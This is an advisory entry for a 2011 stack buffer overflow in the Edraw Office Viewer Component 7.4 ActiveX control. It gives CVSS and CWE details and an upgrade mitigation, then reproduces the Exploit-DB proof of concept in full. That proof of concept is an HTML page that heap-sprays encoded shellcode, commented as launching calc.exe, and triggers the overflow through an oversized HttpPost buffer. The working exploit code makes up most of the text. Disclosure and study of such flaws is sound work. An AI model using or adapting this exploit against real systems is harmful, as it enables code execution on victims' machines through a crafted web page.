Edraw Office Viewer Component V7.4 Stack Buffer Overflow

vendor:

Edraw Office Viewer

by:

Alexander Gavrun

9.3

CVSS

HIGH

Stack Buffer Overflow

119

CWE

Product Name: Edraw Office Viewer

Affected Version From: 7.4

Affected Version To: 7.4

Patch Exists: Yes

Related CWE: N/A

CPE: a:edrawsoft:edraw_office_viewer:7.4

Metasploit: N/A

Other Scripts: N/A

Tags: N/A

CVSS Metrics: N/A

Nuclei References: N/A

Nuclei Metadata: N/A

Platforms Tested: Windows Xp Sp2 + Internet Explorer 7 + OfficeViewer 7.4

2011

Edraw Office Viewer Component V7.4 Stack Buffer Overflow

A stack buffer overflow vulnerability exists in Edraw Office Viewer Component V7.4. The vulnerability is caused due to a boundary error when handling specially crafted HTML documents containing an overly long string in the Toolbars parameter of the OA1 object. This can be exploited to cause a stack-based buffer overflow via a specially crafted HTML document.

Mitigation:

Upgrade to the latest version of Edraw Office Viewer Component.

Source

Exploit-DB raw data:

<!--

# Exploit Title: Edraw Office Viewer Component V7.4 Stack Buffer Overflow
# Date: 25 Feb 2011
# Author: Alexander Gavrun (http://0x1byte.blogspot.com/)
# Software Link: http://www.ocxt.com/
# Version: 7.4
# Tested on: Windows Xp Sp2 + Internet Explorer 7 + OfficeViewer 7.4

-->
<html>
	<body>
		<object classid="clsid:7677E74E-5831-4C9E-A2DD-9B1EF9DF2DB4" id="OA1" width="100%" height="100%" codebase="http://www.edrawsoft.com/download/officeviewer.cab#7,4,0,241">
			<param name="Toolbars" value="-1">
			<param name="LicenseName" value="30daytrial">
			<param name="LicenseCode" value="EDWD-3333-2222-1111">
		</object>
		
		<script>
		
		function heapspray() {
		//exec calc.exe
		var shellcode = unescape( "%u9090%u9090%u9090%u9090" );
		shellcode += unescape( "%u03eb%ueb59%ue805%ufff8%uffff%u4949%u4949%u4949%u4948%u4949%u4949%u4949%u4949%u4949%u5a51%u436a%u3058%u3142%u4250%u6b41%u4142%u4253%u4232%u3241%u4141%u4130%u5841%u3850%u4242%u4875%u6b69%u4d4c%u6338%u7574%u3350%u6730%u4c70%u734b%u5775%u6e4c%u636b%u454c%u6355%u3348%u5831%u6c6f%u704b%u774f%u6e68%u736b%u716f%u6530%u6a51%u724b%u4e69%u366b%u4e54%u456b%u4a51%u464e%u6b51%u4f70%u4c69%u6e6c%u5964%u7350%u5344%u5837%u7a41%u546a%u334d%u7831%u4842%u7a6b%u7754%u524b%u6674%u3444%u6244%u5955%u6e75%u416b%u364f%u4544%u6a51%u534b%u4c56%u464b%u726c%u4c6b%u534b%u376f%u636c%u6a31%u4e4b%u756b%u6c4c%u544b%u4841%u4d6b%u5159%u514c%u3434%u4a44%u3063%u6f31%u6230%u4e44%u716b%u5450%u4b70%u6b35%u5070%u4678%u6c6c%u634b%u4470%u4c4c%u444b%u3530%u6e4c%u6c4d%u614b%u5578%u6a58%u644b%u4e49%u6b6b%u6c30%u5770%u5770%u4770%u4c70%u704b%u4768%u714c%u444f%u6b71%u3346%u6650%u4f36%u4c79%u6e38%u4f63%u7130%u306b%u4150%u5878%u6c70%u534a%u5134%u334f%u4e58%u3978%u6d6e%u465a%u616e%u4b47%u694f%u6377%u4553%u336a%u726c%u3057%u5069%u626e%u7044%u736f%u4147%u4163%u504c%u4273%u3159%u5063%u6574%u7035%u546d%u6573%u3362%u306c%u4163%u7071%u536c%u6653%u314e%u7475%u7038%u7765%u4370");
		for(S="\u0c0c",k=[],y=0;y++<110;)
			y<21?S+=S:k[y]=[S.substr(68)+shellcode].join("")
		}
		
		function exploit() {
			var buf = "http:";
			for(i=0; i<18000; i++)
				buf += unescape("%u0c0c");
			
			OA1.HttpInit();
			OA1.HttpPost(buf);

		}
		
		heapspray();
		exploit();

		</script>
		
	</body>
</html>